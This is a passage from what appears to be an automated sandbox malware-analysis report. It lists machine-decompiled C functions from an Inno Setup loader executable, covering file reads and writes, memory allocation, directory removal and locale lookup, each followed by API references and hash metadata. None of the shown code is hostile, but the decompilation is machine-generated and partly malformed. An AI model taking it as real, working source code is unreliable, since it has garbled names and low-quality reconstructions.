				_t17 = __edi;
				_t11 = __ebx;
				_t1 =  *0x40bdd8; // 0x0
				_t2 = E00402924(_t1);
				if( *0x40be18 != 0) {
					_t16 =  *0x40be18; // 0x1fd7cd0
					_t2 = E004091A4(0, _t16, 0xfa, 0x32); // executed
				}
				if( *0x40be14 != 0) {
					_t8 =  *0x40be14; // 0x1fd7c14
					_t2 = RemoveDirectoryA(E004034B8(_t8)); // executed
				}
				if( *0x40a240 != 0) {
					_t2 =  *0x40a240; // 0x2048e
					_push(_t2); // executed
					L004045B0(); // executed
				}
				if( *0x40bdc8 != 0) {
					_t3 =  *0x40bdc8; // 0x0
					_t12 =  *0x40bdcc; // 0x1
					E00403620(_t3, _t11, _t12, 0x4088e0, _t17, _t18);
					_t5 =  *0x40bdc8; // 0x0
					E004025AC(_t5);
					 *0x40bdc8 = 0;
					return 0;
				}
				return _t2;
			}

0x00409e9e
0x00409e9e
0x00409e9e
0x00409e10
0x00409e15
0x00409e21
0x00409e2f
0x00409e37
0x00409e37
0x00409e43
0x00409e45
0x00409e50
0x00409e50
0x00409e5c
0x00409e5e
0x00409e63
0x00409e64
0x00409e64
0x00409e70
0x00409e72
0x00409e77
0x00409e82
0x00409e87
0x00409e8c
0x00409e93
0x00000000
0x00409e93
0x00409e98

APIs

RemoveDirectoryA.KERNEL32(00000000,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E50
740C9840.USER32(0002048E,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409E64

Part of subcall function 004091A4: Sleep.KERNEL32(?,?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000), ref: 004091C3
Part of subcall function 004091A4: GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091E6
Part of subcall function 004091A4: GetLastError.KERNEL32(?,?,?,0000000D,?,00409E3C,000000FA,00000032,00409EA3,000000FC,00409528,00000000,STATIC,InnoSetupLdrWindow,00000000,00000000), ref: 004091F0

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLast$C9840DirectoryRemoveSleep
String ID:
API String ID: 532274383-0
Opcode ID: a868a6e5d00a0acde263f6599406e2a8c040d2c0d3f70bd5f57d2dc34d7e2dd5
Instruction ID: e69e0b332c88c819040577c0555826280b0c87ea955f984b77490ea3e21026c3
Opcode Fuzzy Hash: a868a6e5d00a0acde263f6599406e2a8c040d2c0d3f70bd5f57d2dc34d7e2dd5
Instruction Fuzzy Hash: A7F0CD702102019BD725EB65EE49B6673A4EF84305F14483BE204763E2C7BD5C90DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00407424 Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00407424(intOrPtr* __eax, void* __edx) {
				long _v16;
				long _v20;
				long _t8;
				long _t9;
				intOrPtr* _t11;

				asm("movsd");
				asm("movsd");
				_t11 = __eax;
				_t8 = SetFilePointer( *(__eax + 4), _v20,  &_v16, 0); // executed
				_t9 = _t8 + 1;
				if(_t9 == 0) {
					_t9 = GetLastError();
					if(_t9 != 0) {
						_t9 = E00407390( *_t11);
					}
				}
				return _t9;
			}

0x0040742f
0x00407430
0x00407431
0x00407443
0x00407448
0x00407449
0x0040744b
0x00407452
0x00407456
0x00407456
0x00407452
0x00407460

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 00407443
GetLastError.KERNEL32(?,?,?,00000000), ref: 0040744B

Part of subcall function 00407390: GetLastError.KERNEL32(<r@,004071ED,?,01FC03CC,?,004098AE,00000001,00000000,00000002,00000000,00409EBB,?,00000000,00409F05), ref: 00407393

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: e46534d7d6c06c2f98e8bee60b66bb92ee3723b23284c2abdcea7b00b07b3c78
Instruction ID: 9939ab9056f0822041df34d86dac8fc00f3a42cdeedc0b59fd8d9b3697e95dde
Opcode Fuzzy Hash: e46534d7d6c06c2f98e8bee60b66bb92ee3723b23284c2abdcea7b00b07b3c78
Instruction Fuzzy Hash: A4E092B66082006BD600F99DC881A9B37DCDF85364F01413ABA68EB1C2D675AC00C376

Uniqueness

Uniqueness Score: -1.00%

Function 004073A4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004073A4(intOrPtr* __eax, long __ecx, void* __edx) {
				long _v16;
				int _t7;
				intOrPtr* _t12;

				_push(__ecx);
				_t12 = __eax;
				_t7 = ReadFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t7 == 0 && ( *((char*)(_t12 + 8)) != 0 || GetLastError() != 0x6d)) {
					E00407390( *_t12);
				}
				return _v16;
			}

0x004073a7
0x004073ac
0x004073bb
0x004073c2
0x004073d6
0x004073d6
0x004073e2

APIs

ReadFile.KERNEL32(?,0040BDE0,0000000C,?,00000000,0000000C,0040BDE0,0000000C,00000000,004073F8,?,0040BDE0,?,004098F1,00000000,00409E99), ref: 004073BB
GetLastError.KERNEL32(?,0040BDE0,0000000C,?,00000000,0000000C,0040BDE0,0000000C,00000000,004073F8,?,0040BDE0,?,004098F1,00000000,00409E99), ref: 004073CA

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: e914567cb13969067943345982a8a313c8c116114bd4ea159f247cfbe41961e0
Instruction ID: 13490c32c9f7ee086a49088034a9beb1796989a54081e25f46ccf46c3bbabe17
Opcode Fuzzy Hash: e914567cb13969067943345982a8a313c8c116114bd4ea159f247cfbe41961e0
Instruction Fuzzy Hash: 1BE06DA16081506AEB24A65AA884E6B67DC8BC5325F05807BFE04DA281D6B8DC00D376

Uniqueness

Uniqueness Score: -1.00%

Function 00407288 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407288(intOrPtr* __eax, long* __edx) {
				long _t8;
				long* _t11;
				intOrPtr* _t13;

				_t11 = __edx;
				_t13 = __eax;
				 *((intOrPtr*)(__edx + 4)) = 0;
				_t2 =  &(_t11[1]); // 0x409f09
				_t8 = SetFilePointer( *(__eax + 4), 0, _t2, 1); // executed
				 *_t11 = _t8;
				if( *_t11 == 0xffffffff) {
					_t8 = GetLastError();
					if(_t8 != 0) {
						return E00407390( *_t13);
					}
				}
				return _t8;
			}

0x0040728a
0x0040728c
0x00407290
0x00407295
0x0040729f
0x004072a4
0x004072a9
0x004072ab
0x004072b2
0x00000000
0x004072b6
0x004072b2
0x004072bd

APIs

SetFilePointer.KERNEL32(?,00000000,00409F09,00000001,00000000,00000001,00407803,?,0040BDE0,?), ref: 0040729F
GetLastError.KERNEL32(?,00000000,00409F09,00000001,00000000,00000001,00407803,?,0040BDE0,?), ref: 004072AB

Part of subcall function 00407390: GetLastError.KERNEL32(<r@,004071ED,?,01FC03CC,?,004098AE,00000001,00000000,00000002,00000000,00409EBB,?,00000000,00409F05), ref: 00407393

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 727037b0f09b88640473c885d25518507a72e987a24e9ef388c6271a82f97a39
Instruction ID: f446756f45e5f2ba1f545924375f0d55a30696ac3283ac729030538f8c345fd2
Opcode Fuzzy Hash: 727037b0f09b88640473c885d25518507a72e987a24e9ef388c6271a82f97a39
Instruction Fuzzy Hash: 9BE04FB16006109FEB10EEB98881B6273D8AF05364F0585BAFA24DF2C5D274DC00C765

Uniqueness

Uniqueness Score: -1.00%

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401430(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E004012E4(0x40b43c, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x00401433
0x0040143d
0x0040144c
0x0040143f
0x0040143f
0x0040143f
0x00401452
0x0040145f
0x00401464
0x00401466
0x0040146a
0x00401473
0x0040147a
0x00401486
0x0040148d
0x00000000
0x0040148d
0x0040147a
0x00401492

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 975b7fb2a686225bee9c52d91c62591a405f54c0ca2a93298412ee223aec9d09
Instruction ID: 0a9bdec6e0d4ada2bc80af5311ae0c0d9c5226b5e0cec20c8283fd4eb37d5a7f
Opcode Fuzzy Hash: 975b7fb2a686225bee9c52d91c62591a405f54c0ca2a93298412ee223aec9d09
Instruction Fuzzy Hash: 0FF02772B0032017DB20696A0CC1B536AC59F85B90F1540BBFA4CFF3FAD2B98C0042AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040524C Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040524C(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				void* _t76;
				void* _t77;
				intOrPtr _t103;
				void* _t106;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t113;

				_v16 = 0;
				_v20 = 0;
				_push(_t113);
				_push(0x405382);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffff0;
				_v12 = GetSystemDefaultLCID();
				_t76 = 1;
				_t109 = 0x40b4bc;
				_t106 = 0x40b4ec;
				do {
					_t6 = _t76 + 0xffbf; // 0xffc0
					E00404CA8(_t6,  &_v20);
					_t8 = _t76 + 0x44; // 0x45
					E004051D8(_v12, _v20, _t8 - 1,  &_v16); // executed
					E004031E8(_t109, _t76, _v16, _t106, _t109);
					_t13 = _t76 + 0xffcf; // 0xffd0
					E00404CA8(_t13,  &_v20);
					_t15 = _t76 + 0x38; // 0x39
					E004051D8(_v12, _v20, _t15 - 1,  &_v16);
					E004031E8(_t106, _t76, _v16, _t106, _t109);
					_t76 = _t76 + 1;
					_t106 = _t106 + 4;
					_t109 = _t109 + 4;
				} while (_t76 != 0xd);
				_t77 = 1;
				_t110 = 0x40b51c;
				_t107 = 0x40b538;
				do {
					_t18 = _t77 + 5; // 0x6
					asm("cdq");
					_v8 = _t18 % 7;
					_t26 = _t77 + 0xffdf; // 0xffe0
					E00404CA8(_t26,  &_v20);
					E004051D8(_v12, _v20, _v8 + 0x31,  &_v16);
					E004031E8(_t110, _t77, _v16, _t107, _t110);
					_t33 = _t77 + 0xffe6; // 0xffe7
					E00404CA8(_t33,  &_v20);
					E004051D8(_v12, _v20, _v8 + 0x2a,  &_v16);
					E004031E8(_t107, _t77, _v16, _t107, _t110);
					_t77 = _t77 + 1;
					_t107 = _t107 + 4;
					_t110 = _t110 + 4;
				} while (_t77 != 8);
				_pop(_t103);
				 *[fs:eax] = _t103;
				_push(E00405389);
				return E004031B8( &_v20, 2);
			}

0x00405257
0x0040525a
0x0040525f
0x00405260
0x00405265
0x00405268
0x00405270
0x00405273
0x00405278
0x0040527d
0x00405282
0x00405289
0x0040528f
0x00405297
0x0040529e
0x004052a8
0x004052b4
0x004052ba
0x004052c2
0x004052c9
0x004052d3
0x004052d8
0x004052d9
0x004052dc
0x004052df
0x004052e4
0x004052e9
0x004052ee
0x004052f3
0x004052f3
0x004052fb
0x004052fe
0x00405308
0x0040530e
0x0040531f
0x00405329
0x00405335
0x0040533b
0x0040534c
0x00405356
0x0040535b
0x0040535c
0x0040535f
0x00405362
0x00405369
0x0040536c
0x0040536f
0x00405381

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00405382), ref: 0040526B

Part of subcall function 00404CA8: LoadStringA.USER32 ref: 00404CC5

Part of subcall function 004051D8: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,004052A3,?,00000000,00405382), ref: 004051F6

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: cb0487420b3172c234957d8210b1a1e7d96addb770309c7ff4572b3558b5ad4f
Instruction ID: 5ab3b431dc833c381f6376774c2282f43a01c3060f713a21c8c4142fa45d119f
Opcode Fuzzy Hash: cb0487420b3172c234957d8210b1a1e7d96addb770309c7ff4572b3558b5ad4f
Instruction Fuzzy Hash: 80316D75E00109ABCB00EF95CC809EEB379FF84304F518577E815BB285E739AE018B98

Uniqueness

Uniqueness Score: -1.00%

Function 004067D8 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004067D8(char* __eax, void* __ecx, void* __edx, void* __eflags) {
				char* _t14;
				void* _t16;
				void* _t18;
				void* _t25;
				char* _t26;
				void* _t27;

				_t27 = __edx;
				_t26 = __eax;
				_t25 = E00406684(__eax, __ecx, 1);
				_t18 = E004032F4(_t26);
				while(_t25 < _t18) {
					_t14 = CharPrevA(_t26,  &(_t26[_t18])); // executed
					_t16 =  *_t14 - 0x2f;
					if(_t16 == 0 || _t16 == 0x2d) {
						_t18 = _t18 - 1;
						continue;
					} else {
						break;
					}
				}
				if(_t18 != E004032F4(_t26)) {
					return E004034F8(_t26, _t18, 1, _t27);
				}
				return E0040322C(_t27, _t26);
			}

0x004067dc
0x004067de
0x004067e9
0x004067f2
0x004067f7
0x00406800
0x00406807
0x00406809
0x004067f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00406809
0x00406818
0x00000000
0x0040682f
0x00000000

APIs

CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0040685E,00000000,00406884,?,?,?,?,00000000,?,00406899), ref: 00406800

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 8c931f58bc880db98d68e9c8f4dbceab4e5d30aa373b7925f51b50f0d4df4d8b
Instruction ID: cd3b748fd999092e0dd41bd66ea10e28c532175b200e518a919150fcc3457b7d
Opcode Fuzzy Hash: 8c931f58bc880db98d68e9c8f4dbceab4e5d30aa373b7925f51b50f0d4df4d8b
Instruction Fuzzy Hash: A3F0BE523019241BC6117A7F18818AF66CC8B8574D742817FF502EB382ED3DAE1362AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040723A Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

6C8D5CA0.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0040727C

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aadca9e125a753c57296c915bcb0ab55ba595cf73d81ce89ea44cdbc5a070b64
Instruction ID: 5bd8415a33b32774670a026ed371ba3c899a528441b6bf43d5ab29e5e2c7c723
Opcode Fuzzy Hash: aadca9e125a753c57296c915bcb0ab55ba595cf73d81ce89ea44cdbc5a070b64
Instruction Fuzzy Hash: 92E0E5753442483EE380AAFCAD42FA667DC970A714F008022B998EB281D9759D219AA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040683C Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0040683C(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _t20;
				intOrPtr _t25;

				_push(0);
				_push(_t25);
				_push(0x406884);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				E004067D8(__eax, __ecx,  &_v8, __eflags);
				_push(E004034B8(_v8)); // executed
				L004044C0(); // executed
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(E0040688B);
				return E00403198( &_v8);
			}

0x0040683f
0x00406848
0x00406849
0x0040684e
0x00406851
0x00406859
0x00406866
0x00406867
0x00406870
0x00406873
0x00406876
0x00406883

APIs

Part of subcall function 004067D8: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0040685E,00000000,00406884,?,?,?,?,00000000,?,00406899), ref: 00406800

6CBC78A0.KERNEL32(00000000,00000000,00406884,?,?,?,?,00000000,?,00406899,00406BD3,00000000,00406C18,?,?,?), ref: 00406867

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4eec67744853805212579f3f2e131bb21c27f24265a6f9aeaabd8a63ef93bdb4
Instruction ID: cf8619df364c692642b75c2ad68c5631abdbe379fd6a5d417733308921cf3789
Opcode Fuzzy Hash: 4eec67744853805212579f3f2e131bb21c27f24265a6f9aeaabd8a63ef93bdb4
Instruction Fuzzy Hash: 8DE06531204304BFD701FA629C5295AB7ECD789748B924876B905B7581D5785E108568

Uniqueness

Uniqueness Score: -1.00%

Function 00407480 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00407480(intOrPtr* __eax, long __ecx, void* __edx, void* __ebp) {
				long _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t6;
				intOrPtr* _t9;
				long _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t14 = __edx;
				_t9 = __eax;
				_t6 = WriteFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t6 == 0) {
					_t6 = E00407390( *_t9);
				}
				if(_t15 != _v16) {
					_t6 = E004072F0(_t9, 0x1d, _t14, _t15);
				}
				return _t6;
			}

0x00407483
0x00407484
0x00407486
0x00407488
0x00407497
0x0040749e
0x004074a2
0x004074a2
0x004074aa
0x004074b3
0x004074b3
0x004074bc

APIs

WriteFile.KERNEL32(?,01FD7D20,000A1200,?,00000000,000A1200,?,?,01FD7D20,00409CCE), ref: 00407497

Part of subcall function 00407390: GetLastError.KERNEL32(<r@,004071ED,?,01FC03CC,?,004098AE,00000001,00000000,00000002,00000000,00409EBB,?,00000000,00409F05), ref: 00407393

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 024c1dbc51d9d56445248a5641ebfab788c56811afa19e4740f31fd3b9e459d0
Instruction ID: 38cc9a4b820c908ade272dde7143f440ba8a68471926a725f46627d21603aec7
Opcode Fuzzy Hash: 024c1dbc51d9d56445248a5641ebfab788c56811afa19e4740f31fd3b9e459d0
Instruction Fuzzy Hash: 1CE012727081107BD720E65ED880E5B67DCDFC5764F00407BBA04EB281D578AC049776

Uniqueness

Uniqueness Score: -1.00%

Function 0040723C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

6C8D5CA0.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0040727C

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720fa26f6d7c147ae79ffad1078871bf0afb9153a9a3787685cc00f5a5ad9a0b
Instruction ID: aa70f73b4ad7123efe22fc05ec8d864e060c25a8f4bd804b8909c9a15069892f
Opcode Fuzzy Hash: 720fa26f6d7c147ae79ffad1078871bf0afb9153a9a3787685cc00f5a5ad9a0b
Instruction Fuzzy Hash: 6AE01A753442483EE380EEFCAD42FA677DC970A714F008022B998EB381D9759D219BB9

Uniqueness

Uniqueness Score: -1.00%

Function 004070D8 Relevance: 1.5, APIs: 1, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004070D8(long __eax, void* __edx) {
				char _v1028;
				long _t6;
				void* _t9;
				void* _t16;
				void* _t18;

				_t9 = __edx;
				_t6 = FormatMessageA(0x3200, 0, __eax, 0,  &_v1028, 0x400, 0); // executed
				while(_t6 > 0) {
					_t16 =  *((intOrPtr*)(_t18 + _t6 - 1)) - 0x21;
					if(_t16 < 0) {
						L1:
						_t6 = _t6 - 1;
						__eflags = _t6;
						continue;
					} else {
						_t21 = _t16 == 0xd;
						if(_t16 == 0xd) {
							goto L1;
						}
					}
					break;
				}
				return E00403278(_t9, _t6, _t18, _t21);
			}

0x004070df
0x004070f7
0x004070ff
0x00407107
0x0040710a
0x004070fe
0x004070fe
0x004070fe
0x00000000
0x0040710c
0x0040710c
0x0040710f
0x00000000
0x00000000
0x0040710f
0x00000000
0x0040710a
0x00407122

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00408DCB,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004070F7

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 49433d0f93936c3e5235eb52ca7e2b20e5004c0b9c26b20b11e93211e7aeeb57
Instruction ID: 3e9af00247863558707ead0c9bedca69137528a3dbc213c9ebd51d15e106523e
Opcode Fuzzy Hash: 49433d0f93936c3e5235eb52ca7e2b20e5004c0b9c26b20b11e93211e7aeeb57
Instruction Fuzzy Hash: 66E0D8B178C30125F22500644C47F76520947C0704F20813A3710EE3E2D9BEB906115F

Uniqueness

Uniqueness Score: -1.00%

Function 00407464 Relevance: 1.5, APIs: 1, Instructions: 11
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407464(intOrPtr* __eax) {
				int _t4;
				intOrPtr* _t7;

				_t7 = __eax;
				_t4 = SetEndOfFile( *(__eax + 4)); // executed
				if(_t4 == 0) {
					return E00407390( *_t7);
				}
				return _t4;
			}

0x00407465
0x0040746b
0x00407472
0x00000000
0x00407476
0x0040747c

APIs

SetEndOfFile.KERNEL32(?,01FD7D20,00409CB0), ref: 0040746B

Part of subcall function 00407390: GetLastError.KERNEL32(<r@,004071ED,?,01FC03CC,?,004098AE,00000001,00000000,00000002,00000000,00409EBB,?,00000000,00409F05), ref: 00407393

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 0617febd3252712e40b0bf1ced51356aff65a3d5f8e53557862437d7bb07380b
Instruction ID: a2612de60f5c6a42fed200a765be981a26f664ba087cc82ebbfa88963db20d0e
Opcode Fuzzy Hash: 0617febd3252712e40b0bf1ced51356aff65a3d5f8e53557862437d7bb07380b
Instruction Fuzzy Hash: EBC04CE560421157DB00EAAA89C190667DC5A482593014076FA14DF256D678E8009619

Uniqueness

Uniqueness Score: -1.00%

Function 00406E4F Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00406E4F() {
				int _t4;
				intOrPtr _t7;
				void* _t8;

				_pop(_t7);
				 *[fs:eax] = _t7;
